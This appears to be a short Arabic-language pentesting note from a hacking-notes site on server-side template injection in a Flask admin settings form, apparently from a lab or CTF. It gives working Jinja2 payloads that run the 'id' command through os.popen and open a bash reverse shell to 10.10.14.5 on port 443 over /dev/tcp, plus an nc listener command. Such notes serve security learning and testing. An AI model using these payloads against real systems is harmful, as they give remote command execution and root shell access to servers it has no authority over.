> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).
# SSTI Flask
## SSTI:
في النطاق الفرعي، ستجد **الإعدادات** علامة تبويب يمكنك من خلالها تعديل معلومات المستخدم الإداري (الاسم الكامل، تاريخ الميلاد، ورقم الهاتف).
إذا حاولت، في نموذج "الاسم الكامل"، تنفيذ هجوم SSTI، فإن الخادم يكون عرضةً لذلك. لاختبار ذلك باستخدام `{{ }}`، نختبر ما إذا كان يفسّر العملية الحسابية:
```python
{{1+1}}
```
ثم، ننفّذ جميعًا الأوامر (على سبيل المثال، `المعرّف`):
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
نكتشف أنه في المجموعة `root`.
ننفذ جميعًا reverse shell للوصول إلى الخادم
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}
```
نبدأ مستمعًا على المنفذ 443 على جهاز المهاجم الخاص بنا:
```bash
nc -nlvp 443
```
---
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